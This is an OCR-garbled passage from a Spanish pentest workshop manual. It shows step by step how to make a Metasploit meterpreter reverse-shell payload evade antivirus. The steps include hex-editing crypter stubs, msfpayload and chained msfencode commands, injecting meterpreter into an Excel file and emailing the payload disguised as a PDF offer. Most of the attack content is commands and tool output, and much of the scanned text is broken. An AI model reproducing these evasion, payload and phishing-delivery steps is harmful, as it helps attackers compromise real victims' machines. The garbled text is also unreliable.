non124z0 tlEIEIEI FFFF 0800 0000 766F 7472 A563 GCAS 0000 0000 0000 0000 0O0OOO 0000 0000 0000 OOOO OOOO
00012456 | 0000 0000 0000 0000 0000 0OO0 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000
000124920000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 Oooo
00012528 0000 0000 0000 0000 0OO0 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 Oooo
00012564 0000 0000 0000 0000 OOOO0 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0ooo0
000126000000 0000 0000 0000 OOO0 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0ooo
00012636 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0o00
000126720000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000
00012706 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000
00012744 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000
00012780 | 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 028D 4000 3213 BECO
00012816 008D 4000 008D 4000 008D 4000 0000 0000 0000 0OO0O 741E 0010 0420 0010 8423 0010 OOCE CCCH
00012852 |C8D7 CFC8 CDCE DEDS DADY CADC DDDE DFEOD E1E3 (OE4 ESSD 4000 4572 726F 7200 8BCO 5275 GE74
00012888 696D 6520 6572 726F 7220 2020 2020 6174 2030 3030 3030 3030 3000 8BCO 3031 3233 3435 3637 |ime error at 00000000...01234567
00012924 | 3839 4142 4344 4546 FFFF FFFF 0000 0000 0000 0000 0OOO0 0000 0000 QOO0 0000 QOO0 OOO0 0000\ 89ABCDEF..
00012960 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000
00012996 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000
00013032 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000

00013066 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 —I

00013104 (0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000

00013140 | 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000

00013176 | 0000 0000 0000 0000 0000 0OO0 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000

000132120000 0000 0000 0000 OO0O 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000

000132480000 0000 0000 0000 OOOO 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 LI
" sTUBGENE
= oFfset: 12420 [0:00003084] ﬂ ompare Results |n|\ ;li'l
T [ sgnedeyte 0 =1 |7 [ Source Count Target Count T

8B Unsigned Byte 10

1600 Signed Short 0

18801 Unsigned Shrt 0

3281 Signed Lorg 65536

228 Unsigned Long 4204901 760

S48 Signed Quad 39654640128

64817 Unsigned Quad 39654640128

3280 Flpat -1 #GHAN

S481T Dwble 1.809793e-313 |

Data Inspector ji_Structure Viewer Compare /| Checksum jy Find J|_Bookmarks _J\, Output
Jumped to position 0x00003084 (12420) Offset: 12420 [Value: 0 [1689 bytes [ovR oD [READ

m“"_ﬂ jMSVDM ’6@09 5]

«nl D, 10

Le pasamos el primer stub sin modificar:

ﬂl’n «_@ @g 10:35

Nos detecta el stub, ahora le pasamos el stub iTedif

O P&g85
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Imdetecka

"C:Doc ts and Settings'AdministradorEscritorio'STUBGENERICindetectable . EXE™
Andlisis complsto, NO SE HA DETECTADO AMENAZA

Duracion del anélisis: 0:00:00
Archivosicarpetas examinados: 140
Cantidad de datos examinados: 165 KB

Archivos infectados: o

Cerrar

ﬂ;l_’niciu’l I@ Analizar

«_@ @y 10:36

Primer obstaculo resuelto, probaré a pasarle ygiter con el stub modificado al
payload a ver que pasa:

Abro el icrypt y en stub options, selecciono “Usegonal Stub”, y le doy a build para
gue me genere el nuevo payload cifrado.

| IR (T SR IR SAUU N I I SO NS N RRCIN- SNCR NI SRURN BRI | R B & B V1S

ICrypt 1.0 E '
IEr_I,Ipter | About |

ICrypt
N File to Crypt :|E:hmeterencnder.exe | ..

—File Optian
FileSize : 7207 ko

[ File Containz EOF Settings

—Stub Option |
| Extract Generic Stutg

A ICrypt 1.0
w;

| Use perzonal Stub

File has Been ICrypted
1003

Compruebo que el antivirus no me lo detecta.

O P&g86
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TROYANO BLOQUEADO

<« (YW 104

OO0oo00ps, no es asi, me sigue detectanto del payeade ocurre que igual ademas del
stub tenga que modificar el cliente y por probag go quede, sigo los mismos pasos
que para modificar el stub.

Esta vez la firma la encuentro en la posicién 48Apahora en lugar de rellenar con 0
modifico dos letras que estan en MAYUSCULA las pasaminusculas.

H Hex workshap - [ICrvpt.exe] !ﬂ
File Edi Disk Options Tools Window Help = x|

FSHE tmeoc v ¥ @ [ bs1 0D EE (]
Sca»E2ER . sy - =z Wb|aap [BEY % EE

00466992 |EBDB FSFF FFEB SAFC FFFF 33C0 SA59 55864 8910 6873 3C00 108D 45EC EB4D F4FF FFC3 E9YE3 EEFF
00467025 |[FFEB FOSF SESB ES4D F3FF FFOO 5345 [ 0000 0000 FFFF FFFF 0800 0000 766RF 7472 BS63 BCES|.
00467064 0000 0000 0000 0000 OOOO 0000 0000 QOO0 0000 0000 0000 0000 0000 0000 0000 0000 0000 Oo0O0f.
004671000000 0000 0000 0000 OOOO 0000 0000 QOO0 0000 0000 0000 0000 0000 0000 0000 0000 0000 Oo0O0).
00467136 (0000 0000 0000 0000 OOOO 0000 0000 QOO0 0000 0000 0000 0000 0000 0000 0000 0000 0000 Oo0O0).
004671720000 0000 0000 0000 0OOO 0000 0000 QOO0 0000 0000 0000 0000 0000 0000 0000 0000 0000 Oo0O0).
00467208 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 oOo0O0).
00467244 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 .
004672800000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 .
00467316 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 .
00467352 | 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 .
00467385 | 0000 0000 0000 0000 0000 0OO0 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 .
00467424 0000 0000 0000 0000 0OOO 0000 028D 4000 3213 8BCO OOBD 4000 008BD 4000 008D 4000 0000 0000 .
00467460 0000 0000 741E 0010 0420 0010 8423 0010 OOCB CCCE C9DF CFC8 CDCE DEDE DADY CADC DDDE DFEOD|.
00467496 |[E1E3 00E4 ES8D 4000 4572 726F 7200 BBCO 5275 GEV4 896D 6520 6572 726F 7220 2020 2020 6174
004675322030 3030 3030 3030 3000 8BCO 3031 3233 3435 3637 3839 4142 4344 4546 FFFF FFFF 0000 0000
00467568 0000 0000 0000 0000 OOO0 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0o0O0
00467604 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 .
004676400000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 .
00467676 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 .
00467712 | 0000 0000 0000 0000 0000 0OOO0 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 .
00467745 | 0000 0000 0000 0000 0000 0OOO0 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 .
00467784 0000 0000 0000 0000 OOOO 0000 0000 QOO0 0000 0000 0000 0000 0000 0000 0000 0000 0000 Oo0O0f.
004678200000 0000 0000 0000 OOOO0 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 Oooo

ICypteve |
= Fffzet 487042 [x00072062] 2l ompare resus [ai 2R
[ sigredeyte 84 =1 |7 [ Source Count Target Count T

ST Unsigned Byte B4
15817 Signed Short 21588
IS8T Unsigned Shart 21558
320 Signed Long

3201 Unsigned Long

4801 Signed Quad

S4BT Unsiged Quad
32001 Flnat
S4BT Double ;I
Data Inspector j_Structure Viewer Compare } Checksum } Find ), Bockmarks J\ Output
Jumped to position Dx00072038 (457000) Offset; 467042 Value: 21583 492032 bytes [ovR’ [MeD [READ

Ayricio| B, | W2e-|[Rn.. Hwmol0@00 3]

« W5 gl @ ioas

Tal que quedara de la siguiente forma.

On Pag87
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H HexWorkshop []
File Edic Disk Options Tools Window Help - =] x|

FSHE tBE- v ¥ @ (mmlisLUFD BR|B[ - o)
Se«»SPER | gz Mk B w v

~

00466992 |[EBDB FSFF FFEB SeFC FFFF 33C0 SAS59 8910 £973 3C00 108D 45EC EB4D F4FF FFC3 EYE3 EEFF
00467028 |[FFEB FOSF SESB EB4D F3FF FFOO 5345 0000 0000 FFFF FFFF 0800 0000 766F 7472 6563 60A5|..
00467064 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 ..
004671000000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000
00467136 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000
00467172 |0000 0000 0000 0000 0000 0OOO 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000
00467208 | 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000
004672440000 0000 0000 0O00OO OOOO0 0000 0000 QOO0 0000 0000 0000 0000 0000 0000 0000 0000 0000 0ooo
004672800000 0000 0000 0000 0OOO0 0000 0000 QOO0 0000 0000 0000 0000 0000 0000 0000 0000 0000 0ooo
00467316 0000 0000 0000 0000 OOOO 0000 0000 QOO0 0000 0000 0000 0000 0000 0000 0000 0000 0000 0ooo
00467352 0000 0000 0000 0000 OOOO0 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 Oooo
00467388 | 0000 0000 0000 0000 0OO0 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0ooO0
00467424 0000 0000 0000 0000 0000 0000 028D 4000 3213 8BCO 008D 4000 008D 4000 008D 4000 0000 0000
00467460 0000 0000 741E 0010 0420 0010 8423 0010 0OCE CCCB C9D7 CFC& CDCE DBDB DADS CADC DDDE DFEO
00467496 |[E1E3 00E4 ES8D 4000 4572 726F 7200 6BCO 5275 6E74 696D 6520 6572 726F 7220 2020 2020 6174
00467532 | 2030 3030 3030 3030 3000 BECO 3031 3233 3435 3637 3639 4142 4344 4546 FFFF FFFF 0000 0000
00467565 | 0000 0000 0000 0000 0000 0OOO0 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000
00467604 0000 0000 0000 0000 0OOO 0000 0000 QOO0 0000 0000 0000 0000 0000 0000 0000 0000 0000 0ooo
004676400000 0000 0000 0000 0OOO0 0000 0000 QOO0 0000 0000 0000 0000 0000 0000 0000 0000 0000 Oooo
00467676 0000 0000 0000 0000 0OOO 0000 0000 QOO0 0000 0000 0000 0000 0000 0000 0000 0000 0000 Oooo
004677120000 0000 0000 0000 0OOO 0000 0000 QOO0 0000 0000 0000 0000 0000 0000 0000 0000 0000 Oooo
00467748 0000 0000 0000 0000 0OO0 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0o0O0
00467784 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000
004678200000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000

ICryptindetec...

2| ffset: 467042 [0x00072062]

labe

oripare Resuls e =Kl

W g fyte 116 = [ Source Count Target Count I
90T Unsigned Byte 115

158 Signed Shart 29812

1561 Unsigned Shert 29812

3281 Signed Long

3281 Ungigned Long

54T Signed Quad

S4BT Unsigned Quad

32EITFloat

Double &

Data Inspector ji_structure Viever Compare / Checksum J, Find J, Bockmarks , Output

Jumped to pasition 0x00072038 (+57000) Offset; 467042 Value: 29812 492032 bytes fovr non [READ
@icio| EJic..| W 2p~|[ ] 1. :’ MSVDM ,ﬁe 20 EH| «® 54D 10

Guardamos y comprobamos que ahora el antiviru®©aaetecta el crypter.

= "C:Documents and Settings'AdministradorEscritorie\lCryptindetectable.exe”
= Analisis completo, NO SE HA DETECTADO AMENAZA

ij\
Duracion el analisis: 0:00:00
Archivosicarpetas examinados: 2m
Cartiddad de datos examinados: 497 D KB

Archivos infectados: o

ﬂ;l_’niciu’l b Analizar | « (W 1048

Bien, segundo obstaculo resuelto.

Volveremos a pasar el payload por el crypternuevoet stub modificado.

O P4g88

Bernabé Mufioz (bmm@reus.tinet.org)




TALLER AUDITORIA'Y PENTEST 2012

;I Crypter | About |

ICrypt
~ Fileta Crypt - II::"-.meterenmderindetecta.E:-:E [ .. i
= ~File Option n
= FileSize : 88,50 Ko =
£
7 [ File Contains EOF Settings E
r C
E [ Stub Option =
| Extract Generic Stub | 2
C <
| Use personal Stub | c
z
A 100% | Build ¢
':."IJL =l E L, L0 TMeET O O 9.l , ., L
ICrypt 1.0 %L par 2
acion 0s
I File has Been ICrypted aridn ar

umento de kexko 2
ro.ExE ! acian 27
IC.EXE acian 2C

Y le pasamos el antivirus...

indetecta

MALWARE BLOQUEADO

0 LN amenaza,

ﬂ'j;n'iciu‘l eS|

[« Qw05
No puede ser , repasemos:
He modificado el stub y lo he vuelto indetectable.

He modificado el crypter y lo he vuelto indetectabl
Esto lo he hecho anteriormente con el mismo paysoagdncodear.

O P&g89
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Pues eso, blanco y en botella, nuestro avast detegB6/shikata_ga_nai con lo cual es
peor el remedio que la enfermedad.

Vuelvo a crear un payload pero esta vez sin encodea

Ruby msfpayload windows/meterpreter/reverse tcp 8MO =192.168.1.59 X
>C:\meterpretersinencoder.exe

== Metasploit [- [l

Fle Edt Wew Help

3-@m DD 0@

Ready 17x143

Le paso el crypter modificado, con el stub moddiwg compruebo el antivirus.

o "C:'\Doct ts and Settings'Administrader:Escritorio'meterencederdindetec.exe”
Analisis completo, NO SE HA DETECTADCO AMENAZA

- l‘--

b
Duracidn del andlisis: 0:00:00
Archivosicatpetas examinados: 110
Cantidad de datos examinados; 5,5 KB

Archivos infectados: o

Cerrar

ﬂ;!'l_niciul b Analizar

Esto esta mejor, solo me queda comprobar el quegmhfunciona correctamente.

Pongo mi metasploit en modo multi/handler

o. PégQO
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Metasploi

File Edit Wiew Help

Ready 13x113

Y ejecuto el payload :

Metasploi

File Edit Wiew Help

s-r@s| b @ e

hucti down Meterpreter...

+0100

sNMER

C
1.4
armaticacanr

Ya tengo mi meterpreter indetectable por mi anisir

Pag9l
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Incrustar meterpreter en un fichero xIs

Normalmente los métodos de infeccion mas explot@dssn por el propio exe o per
por inyectarlo en un fichero pdf, el siguiente gpmse realice mediante un fichero pdf.

Encontré en el siguiente enlalottp://milo2012.wordpress.com/2009/09/27/xIsinjetcto
un script que inyecta una sesion meterpreter dicharo xIs.

XLSinjector
| have just written a new script to injects meteter shell to excel file.
This will speed up the pentesting process to emtitious VBA scripts in excel files.

For this script to work, you will need windows, masoft excel, perl and perl module
Win32:0OLE

To install perl module Win32:OLE (take note thatéhse sensitive)
C:\> CPAN
cpan> install Win32:OLE

You can find my project at http://code.google.catxifinjector/

To run the script, simple type

[If you want it to download an excel file from tiaeb]
C:\ perl xIsinjector.pl -u http://website/excel.xts 1234 .xls

[If you want it to use a local excel file. Put tivecel file in the same folder as the
script]
C:\ perl xIsinjector.pl -i excel.xls -0 1234 .xls

The -0 argument is optional.

Vamos a ellos instalamos inicialmente para Winddasversion de Activeperl
ActivePerl 5.14.2 Build 1402 , una vez instaladscefamos el comando CPAN

o. Pé1992
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v CWIHDOWS systemn32icmd.exe - CPAH

Microsoft Windows XP [Uersion 5.1.26801
CC» Copyright 1985-20001 Microsoft Corp.

C:~Documents and Settings“Administradoricd ..

C:“Documents and Settings>cd ..

Instalamos las librerias Win32:OLE

SWIHDOWS 'system32'emd.exe - CPAH

cpan> install Win32:0LE

Procederemos a ejecutar el script con el sigussmeando:

o. Pé993
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Perl xlsinjector.pl —i “hoja en blanco” —o “hojalisia”

CrWIHDOWS 'system32'emd.exe

-0 Output filename to use
[#]1 Mail bug reports and suggestions to <keith.leeZBl2.com>

[#]1 Shellcode injected into fullmeterpreter.cls.

Ci\xlsinjectur)perl x1lsinjector.pl —i fullasensesorpresa.xls —o fullmeterpreter.
bcls
[#] x1sinjector.pl B.1 [-ull-ill-ol
-u Hebzite to download excel file from
-i Local excel file to use
-0 Output filename to use
[#]1 Mail bugy reports and suggestions to <keith.leeZ2Bi2.com>

[#]1 Shellcode injected into fullmeterpreter.xls.

C:~xlsinjector>

Nos genera un fichero “fullmeterpreter.xls” concleal probaremos a ejecutarlo en la
maquina victima .

En un analisis inicial con el antivirus no se d&teamda en el fichero.

Tamafio: 1,64 ME = .
G frchivos: AsycFitdl_, ComCat.dl_, C3d32.d|_, imxplover.ex_, ... (At el e e il oL

"Ci\Doci ts and Settings! inistrador'Escritorio‘fullmeterpreter.xls”
B Anélisis completo, NO SE HA DETECTADO AMENAZA
e
Duracion del anlisis: 0:00:00
Archivosicarpetas examinados: 160
Cantichad de datos examinados: 530,56 KB

Archivos infectados: o

@I_niciul @ Analizar | E <« g '\9\5} 22132

Ejecutemos el fichero a ver el resultado.

o. Pé_994
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E Microsoft Excel - fullmeterpreter.sls. | = Iﬁl il

© Archivo Edicién  Wer Insertar Formato  Herramientas Datos  Weotana 2 Escriba una pregunta -

DEERA S B9 - 1Bz mwe [ [ R
Ca - #
A [ B | & | D | E [ F [ G [ H [ |

T s dmas | | | I
joan | 10 12
lluig 24 43 Se ha producido el error '53' en tiempa de ejecucion:

o
=
vl

Archivo no encontrado

—1

Gontinuar |

2lalsl=lelele~ololm o]

m

|

o

e e

By
W 4 » H[yHojal /

i{_l_'niciul I@ Microsoft Excel - full...

« W8 (g (g) 2233

o. Pé_995
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Msfpayload

Habra momentos en los que no tendremos la pogbilie ejecutar un exploit
en remoto para conseguir una shell para ello meiasws proporciona un mdodulo de
creacion de payload para poder configurarlo a ruastcesidades, en este ejemplo
mostraremos como creamos un payload que postentene@viaremos a la victima y
esta una vez ejecutado nos brindara una sesioreepreter.

Msf  >ruby msfpayload windows/meterpreter/reverse_tp LHOST=192.168.1.50
LPORT=4444 X > c:\acceso.exe

Nos creara un fichero el cual enviaremos ya seaamidcorreo, link a web, a la
victima para que lo ejecute.

ki Development - Metasploit Console

File Edit View Help

s-em|hh oe

e

.1.59 LPORT=444% X

Ready 11148

Configuracion msfpayload

En nuestros equipos tendremos que dejar a la es@lcRuerto configurado,
mediante metasploit de la siguiente manera:

Msf> Use multi/handler

Msf> set payload windows/meterpreter/reverse_tcp
Msf>set Ihost 192.168.1.59

Msf>set Iport 4444

Msf>exploit

Esto dejara a la escucha por el Puerto 4444 |axgameversa de meterpreter

o. Pé996
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Esperando una conexién

El método de infeccioén :

El método de infeccibn méas habitual puede ser lacera una pagina web maliciosa i
mediante el envio por correo, para ello usarema®dmnda opcion con un cliente de
correo freeware mediante consola de comandos.

Se puede descargar de
http://www.beyondlogic.org/solutions/cmdlinemail/dlimemail.htm

Es para sistemas Windows y tienes las siguientesogs:
Bmail /? ayuda

-s Nombre del servidor

-p SMTP port (es opcional)

-t to: A quien va dirigido el correo
-f: from: Quien lo envia

-b cuerpo del mensaje

-h genera las cabeceras

-a Asunto (opcional)

-m Nombre fichero

Ejemplo de envio:

bmail -s 192.168.1.59 -t postmaster@hotmail.com dastraler@catal.cat -h -m
body.msg

donde body.msg es el adjunto que empaquetaremesaamtente con otra aplicacion
llamada mpack descargable desde :

ftp://ftp.andrew.cmu.edu/pub/mpack/old/mpack15d.zip

Con la cual nos permitira crear objetos MIME y aigu ficheros en el correo.
La sintaxis de la herramienta seria la siguiente:

mpack -s "OFerta" -d body.txt -c application/pdf -o body.msg mailsend.pdf

o. Pé_gg7
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Resumiendo, con mpack empaquetamos el fichero qeempos enviar llamado
mailsend.pdf con el cuerpo del mensaje dentro dig.bd en body.msg, una vez echo
esto creamos el correo con bmail y la instruccéhadinea anterior.

!s. body.txt - Bloc de notas !E E

archivo  Edicidn - Farmako  Wer  Awvada
[rwitacion felicidades

Sl s

Cuerpo del mensaje personalizado

Ejecutamos mpack

. CAWIHDOWS 'systemn32'cmd.exe

C:wmailsend>mpack —-s "0Ferta" —d body.txt —c¢ applicationspdf —o bhody.msg mailsen!
d . pdf

C:smailsend>_

Ejecucion mpack

Una vez creado body.msg ejecutamos bmail

sy CAWIHDOWS 'systemn32'cmd.exe

IC:smailsend>bmail -5 192.168.1.5% —t postmasterlfhotmail.com —f clastralerl'_‘catal.cn
at “h —mn body.nsyg

Command Line SMTP Emailer U1 .67
Copyright(C> 2082-28004 Craig.Peacockfheyondlogic.org
Opening connection to 122.168.1.5% [192.168.1.5%%]1 on port

25
2280 QUASIMOD Macallan Mail Solution (4.8.16.828> SMIF Server Ready
258 OK Meszage Accepted for Deliverwy

C:smailsend>_

Ejecucion bmail

o. Pé_998
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& OFerta
Archiva  Edicion  Wer  Herramientas Mensaje  Ayuda ﬂ'
5 x>
& & .8 & X © O
Responder  Responde... Reenviar Irnprirnir Eliminar Anteriar Siguiente
De: dastraler@catal cat
Fecha: lunes, 27 de didembre de 2010 135:24
Para: poskmaster@hotrmail . com
Asunto: OFerta
Adjuntar: Emailsend.pdf (123 KB

Thwitacion felicidades

Resultado de creacién del correo

Una vez que la victima ejecuta el fichero, nosrretaina shell meterpreter

8.1.80:1052) at 2010-11-30 12:37:43

+0100

Sesién meterpreter creada

0
Bernabé Mufioz (bmm@reus.tinet.org)
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Msfencode

Actualmente la mayoria de equipos disponen de ®wolas antivirus por lo que
nos encontramos con una traba a la hora de ejeftch@ros infectados, una de las
caracteristicas de metasploit es su médulos dedamrel cual nos permitira codificar
los ficheros infectados para evitar ser detectpdosos antivirus.

Msf> msfencode -h

Nos muestra todas las opciones disponibles

STEN =
msfencode -h

templa

ad (use with -

217, elf, mac

Ayuda de msfencode

Msf> show encoders

Nos muestra todos los encoders posibles

Encoders disponibles

Pag100
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Lo primero que haremos sera crearnos nuestro eeetado para que nos
retorne una consola remota.

MSF>ruby msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.59
LPORT=4444 X > C:\accesosinencoder.exe

.58 1port=4444

Proceso de ocultacién de msfencode

Esto nos creara el fichero a ejecutar en el sistemato.

e tmp HED
frchivo  Edicion  Wer  Favoritos  Herramientas — Ayuda it'
R . i 1 I B I i
0 Atras - S ? 7 Blsqueda 15 Carpetas | [mpd | B x n
Diteccion ].J CiYarchivos de programaiMetasploitiFramework3itmp j Ir
Carpetas x Tamario ] Tipo ] Feck
i# |Z) Hammer Software Ll . EE . K TIKE  Aplicacidn 031
=) hexplarer [':!calsenseencode.exe T3KE Aplicacidn a1t
) HEXwrite & cale_bacdoor.exe 117 KB aplicacidn 0141
H ) HP i | E'jacceso.exe TIKE  Aplicacidn 3001
1+ |Z) Instalshield Installation Information (= resultadonmap. xml ZKB  Documento XML 3011
¥ ) Internet Explorer Eresultado.exe TIKE  Aplicacidn 231
) Iis ™ captura.pcap.raw OKE Archivo RAW 1411
= 18P ™ resultat.pap.raw OKE Archivo RAW 031
B B 1ava & calc.exe 113 KE  Aplicacicn 2000
+ |2 LanTricks
H D) Lep
1+ |2 Logitech
1+ | Macallan
[+ |20 Mavituna Securiky
1 Messenger ﬂ
. 1 I [ K1 |

Fichero generado

Mientras pondremos al equipo atacante a la esaarhal médulo multi/hander
Use multi/handler

Configuraremos los parametros correspondientes,

o. Pé.glOl
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(wi
Current

, thread, pro , hone

Id MName

exploit

ed re E
rting the pa

Puertos en espera

Ahora nos toca infectar a la victima, ya sea poreoy mensajeria, url, usb.....

Y sorpresa, nuestro antivirus detecta el fichero.

#Aceptar

© ESET NOD32 Antivirus

ESET NOD32 Antivirus 4

Business Edition

Interfaz del usuario Configuracidn v Herramientas v »

d Estado de la proteccion Cuarentena

\ \ Andlisis del ordenador

- . SOMFIG~1Temp\VMwareDnD'5ce 23 30c \accesosinencodear. exe
@ Actualizacion AdministradorEscritorio\shell. exe
vl

Configuracian

ﬁ Herramientas

Archivos de registro
Cuarentena

Boner en Cuarentans... | Restaurar
Tareas programadas - o

SysInspector

Deteccion del antivirus

Usaremos el modulo para encodear el fichero infiectaediante una tuberia

o. PéglOZ
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MSF> ruby msfpayload Windows/meterpreter/reverge_td¢host=192.168.1.59
lport=4444 R | ruby msfencode -t exe -x c:\cak.ek —o c:\encodeados —e
x86/shikata_ga nai—c 5

Podemos también hacer los siguiente:

Desde la consola

MSF> ruby msfpayload Windows/meterpreter/reverse_tp 1|host=192.168.1.59
Iport=4444 R | ruby msfencode —e x86/countdown —aw —c 10 | ruby msfencode —e

x86/call4_dword_xor —t raw —c 10 > msfencode —t exex c:\netscanmalicioso.exe —
k —o c:\envio5.exe —e x86/shikata_ga_ nai —c 25

d with size 606 (
ed with

ed with

d with

d with

d with

i ni stradora

Msfencode procesando

O P4g103
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I} MetasploitCursCAST.doc - Microsoft Word

0O B B archivo  Edcidn ver Fevorkes  Herramient i *

A vl | @Atras > ﬁ‘ /' Blisqueda '\" Carpetas | [2h & x K)

= | Direceitn [ ¢ilarchives de programaletaspioit Framesorksiime -8 [—
| carpetas x | [ nombre Tamario | Tipo [ Fect
I B [ Hemmer Software o] | Saccesosmencodear.exe 73KB  Aplicacifn 031 ~
) Haslerir Flealsensesncode.ere 73KB  Aplicacidn atit
15 HEsturite & cale_bacdaorexe 117kB  Aplicacitn ot
=T 1| Flacceso.exe 73KB  Aplicacion 301

B [ Instalishield Installation Information = resukadonmap, xml % o TP e ]
# 15 Internet Explorer [Flresukado.exe

=} ™ captura.peap.ran ﬁ ﬁ . Tmmm

™ recultat. peap.ran

& 23 Java (B calcene : s | -
1 12 LanTricks & encodeados.exe
B
&l 1) Logitech
& () Macallan
] 5 Mavituna Security

153 Messenaer =l

meter

SnlEl=8 4

Dbuary lg | Agoformass N\ WO OME o @& d-Z-A-==Z @ 3|

Pag. 47 Sec. 1 47/59 AT6m Ln 3 Col 1 & BT son Espsfoles

iinicio| 2y~ (D26 ~| Wjve..| MSvOM D;oea@ e o « JEE =P @SB DM a0
El antivirus no detecta el nuevo fichero

Podemos comprobar que nuestro antivirus no hatddtemada y ha permitido
ejecutar el exe que nos ha devuelto la consolarpreter.

1§ MetasploitCursCAST.doc - Microsoft Word

archive  Edict LR !

Tarragena

HILY | L0v

meter

SnlEl=8

Dbuar~ [ [Aueformasy N W OO E 42 @ EH d-Z-A-==

Pag. 47 Sec. 1 47159 A7,6cm Ln 3 Co 2 8 “0F Espafiol]

i nico] [Tz v.- G2t Blue.| wvon 00 @ @ O « B0 LB O 1210
Sesién meterpreter creada

Hay que afiadir que segun que antivirus detectaoraola con lo que habra primero
gue comprobarlo, os dejo una captura de pantalidedse ha enviado una consola y nos
muestra los antivirus que la han detectado.

o. PéglO4
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Current status: finished not revieved 1]
Result 18/43 (41.9%) Satety seore: -
£ Compact Print resuts &
Antivirus Version Last Update Result
AhnLah-¥3 2011.01.02.01 2011.01.02 -
Antivir 7.11.1.0 2011.0L1.03 TR/Crypt.XPACK. Gen
Antiy-AVL 2.0.3.7 2011.01.03 -
Avrast 4.8.1351.0 2011.0L1.03 Win3z: Vykuk
dvrasth 5.0.677.0 2011.0L1.03 Win32: Vykuk
AVG 9.0.0.851 2011.0L1.03 =
BitDefender 7.2 2011.0L1.03 Backdoor. Shell.AC
CAT-QuickHeal 1l.00 2011.0L1.03 -
Cland?v 0.956.4.0 2011.0L1.03 PUL. NetTool.%canner-4
Command 5.2.11.5 2011.0L1.02 W3z /Swrort. . —
Comodo 7Z84 2011.0L1.03 Packed.Win3Z.MUPX. Gen
Drlieb 5.0.2.03300 2011.01.03 Trojan.Packed. 196
Ensisoft 5.1.0.1 2011.0L1.03 -
eSafe 7.0.17.0 2011.01.02 =
eTrust-Vet 36.1.8078 2011.0L1.03 -
F-Prot 4.6.2.117 2011.01.02 W3z /5wrart. .
F-Secure 9.0.16180.0 2011.01.03 Backdoor.Shell.AC
Fortinet 4.2.254.0 2011.01.03 =
GData 21 2011.0L1.03 Backdoor.Shell.AC
Tkarus T3.1.1.80.0 2011.01.03 =
Jiangmin 13.0.900 2011.0L1.02 -
ElintiVirus 9.75.3406 2010.12.31 Wirus
Kaspersky 7.0.0.125 2011.01.03 -
HMcifee 5.400.0.1158 2011.01.03 =
MchAfee-GW-Edicion 201o.1c 2011.0L1.03 -
Microsoft 1.6402 2011.01.03 Trojan:Win3Z/Swrort.i
HOD32 5756 2011.01.03 a variant of Win3dzZ Rozena.AG LI

Podemos observar que antivirus reconocidos compdfsisy o0 mcafee no la detectan.
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msfvenom

Msfvenom es un combinado entre msfpayload y msftismpero sin la necesidad de
usar tuberias entre ellos.

msfvenom --help

Usage: ./msfvenom [options] <VAR=VAL</VAR=VAL

Options:

-p, --payload [payload] Payload to use. Specify @r'stdin to use custom payloads
-1, --list [module_type] List a module type exampbayloads, encoders, nops, all
